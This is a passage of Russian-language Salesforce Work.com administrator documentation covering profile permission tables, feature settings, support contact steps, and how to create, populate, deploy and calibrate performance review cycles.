Пользователи навыка

Табл. 29: Полномочия системы для профиля «АдминистраторWork.com»

ВключеноПолномочия системы

API включен

Создание определений настраиваемой эмблемы

Редактирование событий

Редактирование задач

Включение калибровкиWork.com

Модерирование Chatter

Просмотр настройки и конфигурации

СМ. ТАКЖЕ:

Доступ к функциям Work.com

Назначение наборов полномочий Work.com

Рекомендованные профили Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создайте разные профили для разных типов пользователейWork.com.

Создайте профиль для каждого типа пользователяWork.com. Дополнительную
информацию о создании профилей см. в разделе «Работа с профилями в исходном
пользовательскоминтерфейсепрофиля»или «Страницаобщихсведенийврасширенном
пользовательском интерфейсе профиля» (в зависимости от наличия параметра
«Включить расширенный пользовательский интерфейс профиля»).

Прим.: Организации Professional Edition должны будут предоставлять доступ
посредством текущих профилей. Профили «ПользовательWork.com Only»,
«ПользовательChatter Only» и «Стандартныйпользователь» предоставляютосновной
доступкобъектамWork.com. Профиль «Системныйадминистратор» предоставляет
пользователям полный административный доступ ко всем функциямWork.com.
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Чтобы назначить соответствующие параметры объекта и полномочия системы для каждого профиля, воспользуйтесь
таблицами ниже.

Стандартный пользователь
Профиль «Стандартный пользователь» предоставляет пользователю доступ ко всем основнымфункциямWork.com.

Табл. 30: Параметры объекта для профиля «Стандартный пользователь»

Изменение
всех
данных

Просмотр
всех
данных

УдалитьРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Включены
стандартные
параметры

Эмблемы (вкладка)

Обучение (объект)

Включены
стандартные
параметры

Обучение (вкладка)

Документы

Подтверждения

Отзывы (объект)

Вопросы отзыва

Наборы вопросов отзыва

Включены
стандартные
параметры

Запросы отзывов

(И вкладка отзывов)

Ссылки цели

Цели (объект)

Цели (поле «Дата
завершения»)

Цели (поле «Является
ключевой целью
компании»)

Включены
стандартные
параметры

Цели (вкладка)

Ссылка на данные
показателя
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Изменение
всех
данных

Просмотр
всех
данных

УдалитьРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Показатели

Включены
стандартные
параметры

Циклы
производительности

Включены
стандартные
параметры

Признание (вкладка)

Включены
стандартные
параметры

Копилки наград

Включены
стандартные
параметры

Типы копилки наград

Награды

Включены
стандартные
параметры

Навыки

Пользователи навыка

Табл. 31: Полномочия системы для профиля «Стандартный пользователь»

ВключеноПолномочия системы

API включен

Редактирование событий

Редактирование задач

Менеджер циклов производительности
Как правило, профиль «Менеджер циклов производительности» используется для создания и развертывания сводок по
производительности для сотрудников.
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Табл. 32: Параметры объекта для профиля «Менеджер циклов производительности»

Изменение
всех
данных

Просмотр
всех
данных

УдалитьРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Включены
стандартные
параметры

Эмблемы (вкладка)

Включены
стандартные
параметры

Калибровка (вкладка)

Обучение (объект)

Включены
стандартные
параметры

Обучение (вкладка)

Документы

Подтверждения

Отзывы (объект)

Вопросы отзыва

Наборы вопросов отзыва

Включены
стандартные
параметры

Запросы отзывов

(И вкладка отзывов)

Ссылки цели

Цели (объект)

Цели (поле «Дата
завершения»)

Цели (поле «Является
ключевой целью
компании»)

Включены
стандартные
параметры

Цели (вкладка)

Ссылка на данные
показателя

Показатели
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Изменение
всех
данных

Просмотр
всех
данных

УдалитьРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Включены
стандартные
параметры

Циклы
производительности

Включены
стандартные
параметры

Признание (вкладка)

Включены
стандартные
параметры

Копилки наград

Включены
стандартные
параметры

Типы копилки наград

Награды

Включены
стандартные
параметры

Навыки

Пользователи навыка

Табл. 33: Полномочия системы для профиля «Менеджер циклов производительности»

ВключеноПолномочия системы

API включен

Редактирование событий

Редактирование задач

Включение калибровкиWork.com

Просмотр настройки и конфигурации

Администратор Work.com
Профиль «АдминистраторWork.com» предоставляет пользователю полный административный доступ к объектам и
функциямWork.com.
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Табл. 34: Параметры объекта для профиля «АдминистраторWork.com»

Изменение
всех
данных

Просмотр
всех
данных

УдалитьРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Включены
стандартные
параметры

Эмблемы (вкладка)

Включены
стандартные
параметры

Калибровка (вкладка)

Обучение (объект)

Включены
стандартные
параметры

Обучение (вкладка)

Документы

Подтверждения

Отзывы (объект)

Вопросы отзыва

Наборы вопросов отзыва

Включены
стандартные
параметры

Запросы отзывов

(И вкладка отзывов)

Ссылки цели

Цели (объект)

Цели (поле «Дата
завершения»)

Цели (поле «Является
ключевой целью
компании»)

Включены
стандартные
параметры

Цели (вкладка)

Ссылка на данные
показателя

Показатели
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Изменение
всех
данных

Просмотр
всех
данных

УдалитьРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Включены
стандартные
параметры

Циклы
производительности

Включены
стандартные
параметры

Признание (вкладка)

Включены
стандартные
параметры

Копилки наград

Включены
стандартные
параметры

Типы копилки наград

Награды

Включены
стандартные
параметры

Навыки

Пользователи навыка

Табл. 35: Полномочия системы для профиля «АдминистраторWork.com»

ВключеноПолномочия системы

API включен

Создание определений настраиваемой эмблемы

Редактирование событий

Редактирование задач

Включение калибровкиWork.com

Модерирование Chatter

Просмотр настройки и конфигурации

СМ. ТАКЖЕ:

Доступ к функциям Work.com

Назначение профилей Work.com
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Управление функциями Work.com

Включение или выключение параметров Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров Work.com:
• «Настройка

приложения»

Страница «ПараметрыWork.com» позволяетпользователямвключатьивыключатьразные
функцииорганизации (например, «Благодарность», «Награды», «Калибровка» и «Навыки»).

Все параметры, кроме разделов «Параметры благодарностей» и «Параметры навыков»,
требуютналичиялицензииWork.com. ЛицензияWork.comдоступнакакдополнительная
для версии Professional Edition, Enterprise Edition или Unlimited Edition и добавлена в
версию Performance Edition.

1. Введите строку «Параметры Work.com» вполе «Быстрый поиск» меню «Настройка»
и выберите пункт «Параметры Work.com».

2. Установите или снимите флажок напротив нужной функцииWork.com.

ОписаниеРазделФункция

Даннаяфункцияпозволяетпользователям
выражать свою признательность
посредством эмблем-благодарностей в
ленте Chatter.

При отключении данного параметра
действие «Благодарность» будет
недоступно в публикаторе Chatter. Тем не
менее, сообщения-благодарности,

Параметры
благодарностей

Включить
благодарности

созданные ранее, будут доступны без
ограничений.

По умолчанию создание настраиваемых
эмблем доступно всем пользователям.

Параметры
благодарностей

Разрешить
создание
настраиваемых Данный параметр позволяет создавать
эмблем только эмблемы только пользователям с
определенной полномочием «Создание» для объекта

«Награда».группе
пользователей

Данная функция позволяет дополнять
эмблемы реальными наградами. Авторы

Параметры
признаний

Включитьнаграды

наградмогут загружать кодыподарков для
создания копилок наград.
Дополнительную информацию о
создании наград см. в разделе «Копилки
наград».

Включите группы менеджеров, чтобы
менеджеры могли иметь доступ к

Параметры
обучения

Включить группы
менеджеров для
обучения пространствамобученияотчитывающихся

пользователей. Для включения этой
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ОписаниеРазделФункция

настройкисначала следует включить «Группыменеджеров»
в меню «Настройка» в разделе «Параметры общего
доступа».

Включите группы менеджеров, чтобы менеджеры могли
иметь доступ кцелямотчитывающихсяпользователей. Для

Параметры целейВключить группы
менеджеров для целей

включения этой настройки сначала следует включить
«Группы менеджеров» в меню «Настройка» в разделе
«Параметры общего доступа».

Данная функция позволяет просматривать и обновлять
показатели эффективности рабочих групп и отдельных
пользователей.

Параметры
производительности

Включить калибровку

Прим.: В организациях, использующих версию
Performance Edition, функция «Калибровка» не
поддерживаетсяследующимипрофилями: «Менеджер
контрактов», «Пользователь Marketing», «Только для
чтения» и «Менеджер решений».

Даннаяфункцияпозволяетпользователямдобавлятьнавыки
в свои профили и подтверждать навыки других

Параметры навыковВключить навыки

пользователей. Включение данного параметра заменяет
виджет «Профильные темы» в профиле Chatter.

Данная функция позволяет пользователям выключать
встроенное редактирование навыков и подтверждений в

Параметры навыковОграничить
редактирование навыков

профилях Chatter, а также ограничивать редактированиеи подтверждений
страницамисведенийо записях. Рекомендуемиспользоватьстраницами сведений о

записях даннуюфункциютолькопридополненииданныхобъектов
настраиваемыми обязательными полями.

Прим.: Не рекомендуем включать данный параметр
при использовании навыков в профилях Chatter.

Данная функция позволяет автоматически создавать
сообщения ленты Chatter при добавлении нового навыка.

Параметры навыковВключитьавтоматические
сообщения ленты о
навыках

Данная функция позволяет отображать дополнительные
навыкипользователейнаосновеихдействийв темахChatter.

Параметры навыковВключить предложенные
навыки
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3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о внедрении Work.com

Общие сведения о циклах сводок по производительности

Версии и полномочия Work.com

Общие сведения о калибровке

Настройка навыков

Обращение в службу поддержки Work.com

Версии и полномочия Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Лицензия на компонент
Work.com является
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

БольшинствофункцийWork.com требуют наличия расширенияWork.com, нофункции
«Навыки» и «Благодарность» (кроме наград) доступны пользователям Sales Cloud без
ограничений. Полномочия и настройки, необходимые для выполнения разных задач,
отображаются по функциям.

Общие задачи администратора Work.com
Данный раздел содержит задачи для администрирования и внедренияWork.com.

Необходимые настройки и
полномочия

Задача администратора

«Настройка приложения»Включение функцийWork.com:

«Настройка приложения»Назначение администратораWork.com:

«Назначение наборов полномочий»Назначение наборов полномочий:

«Управление пользователями»Назначение профилей:

«Управление пользователями»Назначение лицензий пользователя:

«Управление пользователями»Назначение лицензий на компоненты:

«Настройка приложения»Настройка действий:

«Настройка приложения»Настройкаполей, отслеживаемыхвлентах:

«Управление профилями и наборами
полномочий»

«Настройка приложения»

Настройкапараметровбезопасностиполя:

Задачи для благодарностей и наград
Данный раздел содержит задачи для конечных пользователейWork.com (например, просмотр и создание
эмблем-благодарностей и наград).
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Необходимые настройки и полномочияЗадача конечного пользователя

Дополнительныеполномочияпользователя не требуютсяПросмотр вкладки «Эмблемы»:

«Создание» для документов

По умолчанию параметр «Разрешить создание
настраиваемых эмблем только определенной группе

Создание эмблемы:

пользователей» выключен. При включении данного
параметрапользователямтребуетсяполномочие «Создание
определений настраиваемой эмблемы».

«Чтение» для копилок наградПросмотр копилок наград:

«Создание» для наград

«Создание» для копилок наград

Создание копилок наград:

«Чтение» для типов копилки наградПросмотр типов копилки наград:

«Создание» для типов копилки наград

«Чтение» и «Создание» для копилок наград

Создание типов копилки наград:

«Чтение» и «Создание» для наград

Задачи для навыков
Данный раздел содержит задачи для конечных пользователейWork.com, использующих навыки.

Необходимые настройки и полномочияЗадача конечного пользователя

«Создание» для навыков и пользователей навыкаДобавление навыков:

«Чтение» для навыков

«Удаление» для пользователей навыка

Удаление навыков:

«Создание» для подтверждений

«Чтение» для навыков и пользователей навыка

Добавление подтверждений в навыки:

Задачи для целей
Данный раздел содержит задачи для конечных пользователейWork.com, использующих цели.

Необходимые настройки и полномочияЗадача конечного пользователя

«Чтение» для целей и ссылок целиПросмотр целей:

«Создание» для целей и ссылок целиСоздание целей:

«Редактирование» для целей и ссылок целиРедактирование целей:

«Удаление» для целей и ссылок целиУдаление целей:
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Задачи для показателей
Данный раздел содержит задачи для конечных пользователейWork.com, использующих показатели.

Необходимые настройки и полномочияЗадача конечного пользователя

«Чтение» для показателейПросмотр показателей:

«Создание» для показателейСоздание показателей:

«Создание» для ссылок на данные показателяСвязывание показателей с отчетами:

Задачи для обучения
Данный раздел содержит задачи для конечных пользователейWork.com, использующих пространства обучения.

Необходимые настройки и полномочияЗадача конечного пользователя

«Чтение» для обученияПросмотр пространств обучения:

«Создание» для обученияСоздание пространств обучения:

«Редактирование» для обученияДеактивация обучения:

Задачи для отзывов
Данный раздел содержит задачи для конечных пользователейWork.com, использующих отзывы.

Необходимые настройки и полномочияЗадача конечного пользователя

«Чтение» для отзывов, вопросов отзыва, наборов вопросов
отзыва и запросов отзыва

«Чтение» для циклов производительности

Просмотр отзывов:

«Создание» вразделе «Отзывы», «Вопросыотзыва», «Наборы
вопросов отзыва» и «Запросы отзыва»

«Чтение» для циклов производительности

Создание отзывов:

«Редактирование» для отзывов, вопросов отзыва, наборов
вопросов отзыва и запросов отзыва

«Чтение» для циклов производительности

Редактирование или отправка отзывов:

«Удаление» для отзывов, вопросов отзыва, наборов
вопросов отзыва и запросов отзыва

«Чтение» для циклов производительности

Удаление отзывов (только для администраторов с
полномочием «Изменение всех данных»/«Просмотр всех
данных»):
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Задачи для сводок по производительности
Данныйраздел содержит задачи для конечных пользователейWork.com, использующих сводки по производительности.

Необходимые настройки и полномочияЗадача конечного пользователя

«Чтение» для циклов производительностиПросмотр сводок по производительности:

«Создание» для циклов производительностиСоздание сводок по производительности:

«Создание», «Чтение» и «Редактирование» для отзывов,
вопросов отзыва, наборов вопросов отзыва и запросов
отзыва

«Чтение» для циклов производительности

Составление и отправка сводок по производительности:

«Создание», «Чтение» и «Редактирование» для отзывов,
вопросов отзыва, наборов вопросов отзыва и запросов
отзыва

«Чтение» для циклов производительности

Добавление коллег в сводки по производительности:

Задачи для циклов сводок по производительности
Данныйраздел содержит задачидля администраторовWork.com, управляющихциклами сводокпопроизводительности.

Необходимые настройки и полномочияЗадача администратора

«Создание», «Чтение», «Редактирование», «Удаление»,
«Просмотреть все» и «Изменить все» дляотзывов, вопросов

Создание цикла сводок по производительности

отзыва, набороввопросовотзыва, запросовотзываициклов
производительности

«Просмотр настройки и конфигурации»

«Создание», «Чтение», «Редактирование», «Удаление»,
«Просмотреть все» и «Изменить все» дляотзывов, вопросов

Добавление людей в цикл сводок попроизводительности:

отзыва, набороввопросовотзыва, запросовотзываициклов
производительности

«Создание», «Чтение», «Редактирование», «Удаление»,
«Просмотреть все» и «Изменить все» дляотзывов, вопросов

Удаление людей из цикла сводок по производительности:

отзыва, набороввопросовотзыва, запросовотзываициклов
производительности

«Создание», «Чтение», «Редактирование», «Удаление»,
«Просмотреть все» и «Изменить все» дляотзывов, вопросов

Редактирование цикла сводок по производительности:

отзыва, набороввопросовотзыва, запросовотзываициклов
производительности

«Включить калибровкуWork.com»Просмотр вкладки «Калибровка»:
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Необходимые настройки и полномочияЗадача администратора

«Создание», «Чтение» и «Редактирование» для отзывов,
вопросов отзыва, наборов вопросов отзыва и запросов
отзыва

«Чтение» для циклов производительности

Редактирование оценок производительности:

«Включить калибровкуWork.com»

СМ. ТАКЖЕ:

Включение или выключение параметров Work.com

Общие сведения о внедрении Work.com

Обращение в службу поддержки Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Принеобходимостивключениянекоторыхполномочийиливозникновениитехнических
проблем обратитесь в службу поддержкиWork.com.

1. Выполните вход в Salesforce, затем перейдите на страницу «Справка и обучение».

2. В разделе «Связаться со службой поддержки» щелкнитеСоздать обращение.

3. Щелкните элементОблако продаж.

4. ЩелкнитеWork.com.
Отобразится список наиболее часто встречающихся неполадок.

5. Если вы не увидите решения вашего вопроса, выберитеЩелкните здесь, чтобы просмотреть дополнительные
параметры поддержки и зарегистрировать новое обращение.
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6. Введите сведения обращения и щелкнитеОтправить.

СМ. ТАКЖЕ:

Включение или выключение параметров Work.com
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Общие сведения о циклах сводок по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

РекомендуемиспользоватьциклысводокпопроизводительностиWork.comдлясоздания,
развертывания и предоставления общего доступа ко сводкам по производительности
во всей компании.

Ниже перечислены типичные действия, доступные над циклом сводок по
производительности.

1. «Планировать»: созданиецикласводокпопроизводительностиидобавлениенужных
пользователей.

2. «Развернуть»: предоставление пользователям доступа ко сводкам по
производительности.

3. «Оценить»: составление и отправка сводок по производительности.

4. «Калибровать»: дополнительноесопоставлениеиобновлениеотправленныхсводок
по производительности посредством функции «Калибровка».

5. «Опубликовать»: предоставление объектам сводок общего доступа к отправленным
сводкам по производительности.

6. «Готово»: завершение цикла сводок по производительности.

Дляпросмотра списка недавнопросмотренныхцикловпроизводительностищелкните
вкладку «Циклы производительности».

Прим.: Приотсутствиивкладки «Циклыпроизводительности» выберитеWork.com
из раскрывающегося меню приложений Force.com в верхнем правом углу или
щелкните значок справа от текущих вкладок и выберите нужную вкладку на
странице «Все вкладки».

Щелкните кнопку «Создать», чтобы создать новый цикл, илищелкните имя цикла для просмотра сведений.
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Ниже перечислены действия, доступные на данной странице.

• Просмотр сведений о цикле сводок по производительности.

• Выполнитьнужноедействиенадциклом. Доступныедействияопределяютсятекущимстатусомциклаимогутвключать
действия «Клонировать», «Правка», «Развернуть», «Удалить», «Опубликовать все» и «Готово».

• Доступ к вопросам по циклу производительности.

• Просмотр списка запросов на предоставление сводки производительности. Также можно добавлять темы по
отдельности или загрузить CSV-файл для пакетной загрузки тем.
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• Просмотр списка заданий, выполняемых в ходе цикла производительности, включая развертывание цикла и
предоставление общего доступа к сводкам производительности.

СМ. ТАКЖЕ:

Общие сведения о сводках по производительности

Создание цикла сводок по производительности

Добавление людей в цикл сводок по производительности

Удаление людей из цикла сводок по производительности

Развертывание цикла сводок по производительности

Действия над циклами сводок по производительности
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Создание цикла сводок по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сводок по
производительности:
• «Чтение» для циклов

производительности

Для создания цикла сводок
по производительности:
• «Создание», «Чтение»,

«Редактирование»,
«Удаление», «Изменить
все» и «Просмотреть
все» для отзывов,
вопросов отзыва,
наборов вопросов
отзыва, запросов отзыва
и циклов
производительности

На странице «Циклы производительности» можно создавать циклы сводок по
производительностиWork.com для получения отзывов о пользователях в организации.

1. Щелкните вкладку «Циклы производительности».

При отсутствии вкладки «Циклы производительности» выберитеWork.com из
раскрывающегосяменюприложений Force.com в верхнемправомуглуилищелкните
значок справа от текущих вкладок и выберите нужную вкладку на странице «Все
вкладки».

2. Нажмите кнопку «Создать».

Прим.: Чтобы создать цикл производительности, щелкните ссылку
«Клонировать» на странице другого цикла производительности. При этом
клонируютсятолькоимяцикла, датаначаладействияидатаокончаниядействия.
Наборы вопросов, крайние сроки и прочие сведения не копируются.

3. Введите имя цикла, дату начала действия и дату окончания действия.

4. Нажмите кнопку «Сохранить».

5. Выберите пункт «Создать набор вопросов отзыва».

6. Введите имя набора, тип отзывов и дату окончания.

Наборы вопросов группируют вопросы на основе целевой аудитории. Например,
сводка попроизводительностидля пользователяАможетпредназначаться четырем
разным аудиториям.

• «Сводка по менеджеру»: вопросы для менеджера пользователяА. По умолчанию
сводка по менеджеру добавляется во все циклы.

• «Сводка на уровне пользователя»: вопросы для пользователя А.

• «Сводка на уровне коллеги»: вопросы для коллег пользователя А.

• «Сводка на уровне пропуска»: вопросы для прямых подчиненных пользователя
А.

7. Нажмите кнопку «Сохранить».

8. Выберите пункт «Создать вопрос отзыва».

9. Введите сведения о вопросе.

При необходимости выберите правила для каждого вопроса.

• «Дополнительно»: данный вопрос может быть пропущен пользователем,
составляющим сводку.

• «Конфиденциально»: отправленный ответ будет недоступен объекту сводки.
Данное правило недоступно для сводок на уровне пользователя.

При необходимости добавьте инструкции в начало каждого вопроса.

10. Нажмите кнопку «Сохранить».

11. При необходимости добавьте дополнительные наборы вопросов и ответов.
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После добавления вопросов в цикл сводки производительности добавьте пользователей.

СМ. ТАКЖЕ:

Общие сведения о циклах сводок по производительности

Общие сведения о сводках по производительности

Добавление людей в цикл сводок по производительности

Развертывание цикла сводок по производительности
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Добавление людей в цикл сводок по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сводок по
производительности:
• «Чтение» для цикла

производительности

Для добавления людей в
цикл сводок по
производительности:
• «Просмотр настройки и

конфигурации»

И

«Создание», «Чтение»,
«Редактирование»,
«Удаление», «Изменить
все» и «Просмотреть
все» для отзывов,
вопросов отзыва,
наборов вопросов
отзыва, запросов отзыва
и циклов
производительности

Добавляйте людей в цикл сводок по производительности вручную или посредством
CSV-файла.

Людей можно добавлять только в циклы сводок, имеющие статус «Настройка» или
«Выполняется».

1. Щелкните вкладку «Циклы производительности».

При отсутствии вкладки «Циклы производительности» выберитеWork.com из
раскрывающегосяменюприложений Force.com в верхнемправомуглуилищелкните
значок справа от текущих вкладок и выберите нужную вкладку на странице «Все
вкладки».

2. Щелкните цикл сводок по производительности.

3. Перейдите к разделу «Запросы отзывов» и добавьте пользователей в цикл
производительности.

• Чтобыдобавить темывручную, щелкните кнопку «Добавитьтему». Введитеимя
пользователя и нажмите кнопку «Сохранить».

• Чтобызагрузитьсписокпользователейпосредством CSV-файла, последовательно
выберите параметры «Загрузить CSV-файл» и «Выбратьфайл». Выберите
CSV-файл, щелкните кнопку «Загрузить» и сохраните изменения.

В первом столбце CSV-файла должен содержаться список кодов пользователей
(например: 005R0000000DjZW) или имена пользователей (например:
john@acme.com). Данные должны начинаться со второй строки, так как первая
строка выступает в качестве заголовка и не используется при загрузке.

Совет: Многие организации используют собственные требования
относительно участия в цикле сводок по производительности. Чтобы
уточнить список пользователей, подлежащих добавлению, и получить их
имена, воспользуйтесь отчетом «Пользователи».

Средствоотслеживаниявыполнениязаданийотображает состояние загрузки CSV-файла.
Кроме того, пользователей, включенных в цикл сводок о производительности, можно
подтвердить в разделе «Запросы отзыва».

СМ. ТАКЖЕ:

Общие сведения о циклах сводок по производительности

Развертывание цикла сводок по производительности

Удаление людей из цикла сводок по производительности
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Удаление людей из цикла сводок по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сводок по
производительности:
• «Чтение» для цикла

производительности

Для удаления людей из
цикла сводок по
производительности:
• «Создание», «Чтение»,

«Редактирование»,
«Удаление», «Изменить
все» и «Просмотреть
все» для отзывов,
вопросов отзыва,
наборов вопросов
отзыва, запросов отзыва
и циклов
производительности

Система позволяет удалять ненужных людей из цикла сводок по производительности.

Пользователейможноудалить толькоизцикловпроизводительности, имеющихстатус
«Настройка».

1. Щелкните вкладку «Циклы производительности».

При отсутствии вкладки «Циклы производительности» выберитеWork.com из
раскрывающегосяменюприложений Force.com в верхнемправомуглуилищелкните
значок справа от текущих вкладок и выберите нужную вкладку на странице «Все
вкладки».

2. Щелкните цикл сводок по производительности.

3. Перейдите к разделу «Запросы отзыва» ищелкните кнопку «Удал.» в столбце
«Действия» для пользователя, которого следует удалить.

СМ. ТАКЖЕ:

Общие сведения о циклах сводок по производительности

Развертывание цикла сводок по производительности

Добавление людей в цикл сводок по производительности
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Развертывание цикла сводок по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования цикла
сводок по
производительности:
• «Создание», «Чтение»,

«Редактирование»,
«Удаление», «Изменить
все» и «Просмотреть
все» для отзывов,
вопросов отзыва,
наборов вопросов
отзыва, запросов отзыва
и циклов
производительности

Чтобы предоставить пользователям доступ ко сводкам, рекомендуем развернуть цикл
сводок по производительности.

Прим.: Развернутый цикл сводок по производительности не поддерживает
редактирование вопросов и сведений о цикле, но позволяет добавлять
пользователей.

1. Щелкните вкладку «Циклы производительности».

При отсутствии вкладки «Циклы производительности» выберитеWork.com из
раскрывающегосяменюприложений Force.com в верхнемправомуглуилищелкните
значок справа от текущих вкладок и выберите нужную вкладку на странице «Все
вкладки».

2. Щелкните цикл сводок по производительности.

3. Нажмите кнопку «Развернуть».

Всенеактивныепользователиавтоматическиудаляютсяпередразвертываниемцикла.
По завершении развертывания пользователю отправляется сообщение эл. почты,
содержащее подробные сведения о развертывании цикла и всех удаленных
пользователях. При необходимости они могут быть добавлены обратно.

Развернутая сводка по менеджеру назначается менеджеру каждого пользователя,
добавленного в цикл. Если цикл содержит сводки на уровне пользователя, то данные
сводки назначаются связанным пользователям. Каждому назначенному пользователю
отправляется электронное уведомление, подтверждающее доступность сводок для
составления.

СМ. ТАКЖЕ:

Общие сведения о циклах сводок по производительности

Общие сведения о сводках по производительности

Создание цикла сводок по производительности
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Действия над циклами сводок по производительности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сводки по
производительности
требуют наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

В зависимости от состояния цикла производительности на странице сведений о нем
будут доступны различные действия.

ОписаниеДоступно для
статусов

Действие

Редактирование имени цикла, даты начала
действия и даты окончания действия.

НастройкаРедактирование

Развертывание цикла сводок и связанных
сводок. Изменение статусацикла сводокна
значение «Выполняется».

НастройкаРазвернуть

Удалениецикласводокисвязанныхсводок.НастройкаУдалить

Завершение цикла сводок по
производительности и изменение статуса
цикла сводок на значение «Завершено».
Также удаляет отклоненные и
неотправленные сводки.

ВыполняетсяГотово

Клонированиецикласводок. Копирование
имени цикла, даты начала действия и даты
окончания действия. Наборы вопросов,
крайние сроки, пользователи и прочие
сведения не копируются.

Настройка,
Выполняется, Готово

Клонировать

Предоставление объектам сводок общего
доступа к отправленным сводкам по

ВыполняетсяОпубликовать
все

производительности. Данное действие не
применяется к конфиденциальным
вопросам.

СМ. ТАКЖЕ:

Общие сведения о циклах сводок по производительности

Создание цикла сводок по производительности

Развертывание цикла сводок по производительности
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Общие сведения о калибровке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция «Калибровка»
требует наличия лицензии
на компонент Work.com,
являющейся
дополнительной для версии
Professional Edition,
Enterprise Edition,
Unlimited Edition или
Developer Edition и
добавленной в версию
Performance Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Калибровка»:
• «Включить калибровку

Work.com»

Для редактирования оценок
производительности:
• «Создание», «Чтение» и

«Редактирование» для
отзывов, вопросов
отзыва, наборов
вопросов отзыва и
запросов отзыва

И

«Чтение» для циклов
производительности

Рекомендуем использовать отчеты по калибровкеWork.com для визуализации,
сопоставления и обновления оценок производительности во всей компании.

Прим.: В организациях, использующих версию Performance Edition, функция
«Калибровка» неподдерживаетсяследующимипрофилями: «Менеджерконтрактов»,
«Пользователь Marketing», «Только для чтения» и «Менеджер решений».

Отчеты по калибровке охватывают данные из циклов сводок по производительности.
Данные отчеты позволяют менеджерам и руководителям получать более полное
представление о производительности рабочих групп или организаций. Они могут
быстро определять сотрудников с высокими и низкими показателями
производительности, а также (при наличии соответствующих полномочий) изменять
отдельные оценки производительности сотрудника прямо в отчете по калибровке.

Создайте собственныйотчет по калибровке или загрузите пакет отчетов по калибровке
со страницы «Установка пакета».

• Пакет отчетов по калибровке для производственной среды

• Пакет отчетов по калибровке для безопасной среды

Отчеты по калибровке доступны на вкладке «Калибровка». Обратите внимание, что
одновременнопользовательможетпросматривать только результатыдля одногоцикла
сводок по производительности.

Раздел «График распространения» позволяет просматривать распространение оценок
для каждого вопроса типа «Многовариантный выбор». Чтобы просмотреть
распространение оценок, выберите разные вопросы из раскрывающегося списка.

Раздел «Сотрудники в графике» позволяет просматривать сведения о сводке по
производительности для пользователей, добавленных в анализ производительности.
Принеобходимостивыполнитефильтрациюисортировкукаждогостолбца. Фильтрация
столбцов инициирует обновление графика распространения. При необходимости
добавьте настраиваемые столбцы для фильтрации сведений о сводке по
производительности. Чтобы просмотреть отдельные сводки по производительности,
воспользуйтесь столбцом «Просмотр».

СМ. ТАКЖЕ:

Включение или выключение параметров Work.com

Создание отчета по калибровке

Настройка отчета по калибровке

Обновление сведений о сводке по производительности

Экспорт сведений об отчете по калибровке

Общие сведения о циклах сводок по производительности
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Создание отчета по калибровке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
